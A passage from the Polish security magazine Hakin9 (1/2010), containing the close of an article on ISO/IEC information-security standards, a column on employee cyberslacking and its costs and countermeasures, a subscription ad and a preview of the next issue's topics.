dla których brak wymagań i wytycznych w zakresie ochrony pomocne mogą być standardy, zalecenia i polskie normy dotyczące bezpieczeństwa informacji: PN-ISO/IEC 17799: 2007 Technika informatyczna – Techniki bezpieczeństwa – Praktyczne zasady zarządzania bezpieczeństwem informacji i PN-ISO/IEC 27001: 2007 Technika informatyczna – Techniki bezpieczeństwa – Systemy zarządzania bezpieczeństwem informacji – Wymagania, które stanowią źródło tzw. dobrych praktyk. Wdrożenie systemu zarządzania bezpieczeństwem informacji w organizacji w oparciu o powyższe normy zapewni właściwy, adekwatny do zagrożeń i wymagań przepisów prawa poziom ochrony wszystkim informacjom na podstawie wyników analizy ryzyka. Zachęcam do podjęcia trudu w celu wdrożenia takiego systemu. Systemu można nie certyfikować. W Polsce wydanie choćby niewielkich pieniędzy, aby chronić coś, co ma niematerialny charakter nie zawsze znajduje uzasadnienie. Co potrzeba, aby zapewnić bezpieczeństwo informacji? Trochę wiedzy, trochę procedur, trochę dobrej woli i trochę pieniędzy. Jak wynika z szacunkowych danych, koszty zapewnienia bezpieczeństwa informacji stanowią około 5 % kosztów na technologie IT. Andrzej Guzik Andrzej Guzik – audytor systemu zarządzania bezpieczeństwem informacji, systemu zarządzania jakością, audytor wewnętrzny, ekspert w zakresie ochrony informacji prawnie chronionych, redaktor portalu www.ochronainformacji.pl. Kontakt z autorem: [email protected] 1/2010 HAKIN9 77 FELIETON Diagnoza: Cyberslacking Termin cyberslacking (w krajach anglojęzycznych występujący również w alternatywnej wersji, jako cyberloafing lub goldbricking) w piśmiennictwie po raz pierwszy pojawił się w drugiej połowie lat dziewięćdziesiątych XX wieku. C yberslacking (w Polsce znany również jako cyberlenistwo lub cyberszlajanie się) oznacza używanie komputera, a w szczególności Internetu, w godzinach pracy do załatwiania prywatnych spraw, czy też po prostu zapewniania sobie rozrywki. Z początku interesowały się tym zjawiskiem jedynie zarządy i właściciele prywatnych firm, ale szybko okazało się, że skutki prywaty użytkowników są bardzo dotkliwe również dla szerokiego grona ludzi związanych z IT. Cyberslackerzy są wśród nas Nawet jeśli wydaje ci się, że twoi podwładni pilnie pracują i nie obijają się, są to tylko pozory, które w przypadku cyberslackingu można przy niewielkim nakładzie pracy łatwo podtrzymywać. Cyberslackerzy są wszędzie. Statystyki są w tym względzie nieubłagane i nie pozostawiają żadnych złudzeń. Według amerykańskich źródeł 90% procent pracowników posiadających dostęp do Internetu nadużywa go do celów prywatnych w godzinach pracy. Co ciekawe, światowymi liderami cyberslackingu nie są wcale, jak można by przypuszczać, Amerykanie, a Chińczycy. Jak wynika z sondażu Web@Work przeprowadzonego przez firmę Websense, to właśnie Chińczycy 78 HAKIN9 1/2010 są najmniej wydajnymi pracownikami, ponieważ średnio ponad godzinę dziennie marnują na zabawy online, a w każdym razie do takiego okresu się przyznają, bo faktyczny czas może być dużo dłuższy. Inne badania, przeprowadzone na terenie Wielkiej Brytanii, wykazały, że cyberslacking jest winny obniżenia wydajności, a co za tym idzie również zysków firm, o około 15% w skali roku. Jak na tym tle prezentują się Polacy? Z raportu firmy badawczej Gemius wynika, że nie mamy powodów do chluby. Około 93% pracowników przyznaje się do cyberslackingu, przy czym, co ciekawe, zaledwie jedna trzecia wszystkich przebadanych uważa, że tego typu praktyki są nieuczciwe względem pracodawcy. Jeszcze mniej, bo zaledwie 20% respondentów, jest przekonanych o negatywnym wpływie cyber-rozrywek na wykonywaną pracę. Alarmująco wygląda średni czas poświęcany prywacie, który oscyluje wokół jednej lub dwóch godzin – zależnie od tego czy pytanie dotyczy ankietowanego, czy jego współpracowników. Co z tego wynika? Choćby to, że polscy pracownicy nudzą się w godzinach pracy, że nie dostrzegają zagrożeń wynikających z nadużywania sieci, a brak reakcji ze strony swych zwierzchników oraz działu IT traktują jako milczące przyzwolenie. Dezynwoltura pracowników w kwestiach związanych z cyberslackingiem właściwie nie ma granic. W Sieci można znaleźć wiele wypowiedzi cyberslackerów, którzy nie dość, że nie widzą niczego złego w tym procederze, to jeszcze za jego rozpowszechnienie obwiniają swych pracodawców… i niestety po części mają rację. Niektórzy z nich prowadzą blogi oraz osobne strony internetowe poświęcone różnym sposobom zabijania czasu w pracy, a także sztuczkom, przy pomocy których można przechytrzyć zwierzchnika. Co sprytniejsi wyczuli w cyberslackerach nowe źródło dochodu. Sztandarowym przykładem może być amerykański serwis z grami on-line Gamesville.com, który nonszalancko reklamuje się sloganem Marnujemy twój czas od 1996. Można by też pokusić się o stwierdzenie, że polskie serwisy takie jak choćby Nasza-klasa.pl, Allegro.pl, czy Pudelek.pl, znacznie obniżyłyby swe notowania w statystykach odwiedzin, gdyby uniemożliwić dostęp do nich w godzinach pracy. Zagrożenia, skutki uboczne i powikłania Cyberslacking kosztuje dużo. Czasem o wiele więcej niż organizacja jest w stanie zapłacić, co tyczy się zwłaszcza małych i średnich jednostek. Prócz strat, które można przeliczyć na konkretne kwoty, są również szkody o charakterze trudniejszym do zmierzenia, takie jak utrata dobrej opinii w oczach partnerów biznesowych, czy ściągnięcie na siebie rozmaitych sankcji prawnych. Magia liczb ma to do siebie, że potrafi najlepiej uzmysłowić skalę problemu. Według szacunkowych danych opublikowanych przez tygodnik Przekrój (nr 12/2008) cyberlenistwo polskich pracowników kosztuje prawie 74 miliardy złotych rocznie. Skoro wiemy już ile kosztuje utrzymywanie na posadzie cyberleni, czas zastanowić się nad pośrednimi skutkami zabaw w pracy, które choć otwarcie nie dotykają sfery finansów, mogą kosztować organizację znacznie więcej. Pół biedy, jeśli użytkownik ma świadomość zagrożeń czyhających w Sieci i stara się je przynajmniej minimalizować, ale niestety wielu zupełnie nie zdaje sobie sprawy z niebezpieczeństw, jakie wiążą się, na przykład, z instalowaniem na służbowym komputerze nielicencjonowanego oprogramowania , czy przechowywaniem nielegalnych plików multimedialnych. Szerokopasmowy dostęp do Internetu kusi, aby wykorzystać go do ściągania pirackich plików z muzyką albo całych filmów, które potem zapychają dyski firmowych komputerów. Zupełnie osobną kwestię stanowi świadome lub czasami nieświadome instalowanie na służbowym komputerze nielicencjonowanego oprogramowania i przechowywanie nielegalnych plików multimedialnych. Szerokopasmowy dostęp do Internetu kusi, aby wykorzystać go do ściągania pirackich plików z muzyką albo całych filmów, które potem zapychają dyski firmowych komputerów. Podobnie rzecz ma się z nielicencjonowanym oprogramowaniem. Nietrudno jest przecież ominąć licencję i zupełnie za darmo korzystać z, dajmy na to, dobrodziejstw posiadania drogiego programu do obróbki grafiki. Użytkownicy w znakomitej większości doskonale zdają sobie sprawę, że to co robią jest niezgodne z prawem, jednak brak świadomości konsekwencji na jakie potencjalnie narażają siebie, dział IT i pracodawcę, a także poczucie bezkarności oraz brak kontroli, często biorą górę. Co smutne, skutki prawne i finansowe lekkomyślnego postępowanie użytkowników dotykają głównie informatyków oraz osób zarządzających. Jak leczyć? Z cyberslackingiem użytkowników wygrać jest niezmiernie trudno, ale na szczęście istnieje kilka metod skutecznie go ograniczających. Najprostszym sposobem jest blokowanie dostępu do niepożądanych witryn WWW na firewallu. Użytkownik nie będzie trwonić czasu na, dajmy na to, szukanie znajomych ze szkolnej ławy czy czytanie plotek, bo po prostu nie będzie mógł się z niepożądanymi stronami internetowymi połączyć. Metoda o tyle skuteczna, o ile na bieżąco aktualizowana będzie lista newralgicznych stron, ale znając realia Internetu zawsze znajdzie się jakaś nowa, absorbująca, niezablokowana witryna. Poczynania pracowników można oczywiście monitorować w bardziej staroświecki sposób stosując metodę niespodziewanych nalotów na stanowiska pracy. Sposób trącący szkolną ławą, którego skuteczność jest dyskusyjna, a jego zastosowanie ograniczone do pracowników niewielkich firm. Podglądanie monitorów zza czyichś pleców jest mocno denerwujące dla obu stron i raczej mało poważne. Z pewnością nie jest to metoda godna polecenia. Jeżeli chodzi o kwestię legalności oprogramowania, dobrym posunięciem jest zatrudnienie profesjonalnej firmy audytorskiej, pod warunkiem, że audyty wykonywać będziemy regularnie, a dodatkowo zaopatrzymy się w oprogramowanie, które na bieżąco monitorować będzie zmiany w instalowanych aplikacjach. Najczęściej stosowanym rozwiązaniem do walki z cyberslackingiem jest instalacja oprogramowania monitorującego aktywność użytkowników, ścieżki ich wędrówek w cyberprzestrzeni oraz zmiany jakich dokonali w zainstalowanym oprogramowaniu. Tego typu aplikacje (takie jak np. nasz rodzimy system statlook, czy amerykański spector pro) umożliwiają obserwację, które spośród stron internetowych dany użytkownik szczególnie sobie upodobał oraz ile czasu spędza na wykonywaniu swoich obowiązków, a ile zajmują mu czynności niezwiązane z pracą, bądź wręcz zagrażające bezpieczeństwu organizacji. Warto również sprawdzić, czy system umożliwia przeprowadzenie audytu legalności oprogramowania, a także czy monitorowanie aktywności użytkowników odbywa się bez wnikania w treść maili i prywatnych rozmów. Polskie prawo zezwala na taki statystyczny monitoring, jeżeli pracownicy są o nim poinformowani, czy to w formie aneksu do umowy, czy np. zapisu w regulaminie pracy. Jedno jest pewne, dopóki pracownicy będą korzystać z komputerów zjawisko cyberslackingu nie zniknie, więc skoro trudno jest je całkowicie wyeliminować, może lepiej poznać wroga i skutecznie go kontrolować. BadPirate W Sieci • • • • • • • • http://english.people.com.cn/200508/18/eng20050818_203246.html, http://www.websense.com/global/en/, http://www.independent.ie/unsorted/features/cyber-slackers-86386.html, http://www.gemius.pl/pl/aktualnosci/2008-01-24/01, http://blogs.reuters.com/ask/2007/08/29/are-you-cyberslacking-click-here/, http://www.ishouldbeworking.com/, http://www.ultrathought.com/how-to-beat-the-company-firewall, Test uzależnienia od Internetu – http://www.aplusc-systems.com/test_uzaleznienia.html 1/2010 HAKIN9 79 Roczna prenumerata tylko 249,- hakin9 – jak się obronić to ukazujący się w dwudziestu czterech krajach Europy magazyn o bezpieczeństwie. hakin9 porusza sprawy związane z bezpieczeństwem systemów informatycznych – rozpatrywane zarówno od strony osoby naruszającej bezpieczeństwo, jak i osoby, która bezpieczeństwo zapewnia. Radzimy jak skutecznie zabezpieczyć system przed hakerami i wszelkimi innymi zagrożeniami, oprowadzamy Czytelników po tajnikach najpopularniejszych programów antywirusowych, systemów wykrywania włamań, narzędziach, których potrzebuje każdy administrator. Zmiana danych kontaktowych Kontakt Software Wydawnictwo 1. Telefon EuroPress 1. Telefon 2. Fax 2. Fax (022) 427 35 32 (022) 244 24 59 3. Online [email protected] 4. Adres Software Wydawnictwo ul. Bokserska 1 02-682 Warszawa UWAGA! +48 22 877 20 80 22 877 20 70 3. Online [email protected] 4. Adres EuroPress Polska Sp. z o.o. ul. Jana Kazimierza 46/54 01-248 Warszawa Prenumerujesz – zyskujesz l l l l oszczędność pieniędzy szybka dostawa prezenty bezpieczna płatność on–line Tytuł Hakin9, jak się obronić (1 płyta CD) Miesięcznik o bezpieczeństwie i hakingu Zadzwoń 0 +48 22 877 20 8 (022) 427 35 32 lub zamów mailowo! Ilość numerów 12 Cena 249 PLN ZA MIESIĄC W następnym numerze między innymi: Aktualne informacje o najbliższym numerze znajdziesz na naszej stronie www.hakin9.org/pl. ATAK BŁĘDY W PORTALACH GADUGADU.PL I NASZA-KLASA.PL W artykule przedstawiono błędy w najpopularniejszych serwisach społecznościowych oraz komunikatorach, z którymi mamy do czynienia na co dzień. Autor na przykładzie portalu Naszaklasa.pl przedstawi jak są dziurawe portale społecznościowe. ZAGROŻONE KOMÓRKI Nowa forma zagrożenia, czyli wirusy, robaki, trojany, spyware w wersji mobilnej. Czy w Polsce to nadal złowieszcza pieśń przyszłości? Jaka jest natura zagrożeń atakujących telefony komórkowe, jak to się dzieje, iż możliwe jest wysyłanie SMS-ów i MMS-ów, kosztujących 7$, bez wiedzy użytkownika czy też do czego może służyć oprogramowanie szpiegujące na komórki. Artykuł pokaże architekturę Symbiana, zasadę działania rozwiązań ochronnych oraz informacje o tym, jak radzić sobie z mobilnymi zagrożeniami. ATAK NA ANONIMOWĄ SIEĆ TOR Według dość lakonicznego opisu w programie konferencji pozwala on NA CD hakin9.live bootowalna dystrybucja Linuksa Mnóstwo narzędzi – niezbędnik hakera Tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach Dodatkowa dokumentacja Pełne wersje komercyjnych aplikacji na wykr ycie faktu połączenia dwóch użytkowników sieci Tor stronie mającej kontrolę nad tylko jednym węzłem pośredniczącym w połączeniu. De facto oznaczałoby to dość skuteczny atak na anonimowość tej sieci, w której każde połączenie przechodzi przez co najmniej trzy węzły, z któr ych żaden nie zna całej ścieżki, właśnie w celu wyeliminowania węzłówpodsłuchiwaczy. OBRONA Z RFID NA TY RFID (Radio frequency identification) to technologia pozwalająca, za pomocą tagów, na kontrolę dowolnego obiektu, zaczynając od przesyłki kurierskiej oraz banknotów, kończąc na zwierzętach, a nawet ludziach. Ta technologia ma niemal nieograniczone zastosowanie, które daje możliwość niemal nieograniczonej kontroli. FUZZING: SZUKANIE SŁABYCH PUNKTÓW Z RAND W praktyce poszukiwanie wycieków związanych z bezpieczeństwem kodów składa się z przygotowania fragmentu kodu oraz przebadania go przez deweloperów pod kątem potencjalnych problemów. Proces taki nazywa się recenzją kodów i do tej pory był efektywny, jednakże stosowano go bardzo rzadko z powodu wysokich kosztów. Numer będzie w sprzedaży pod koniec stycznia 2009 Redakcja zastrzega sobie prawo zmiany zawartości pisma. 82 HAKIN9 1/2010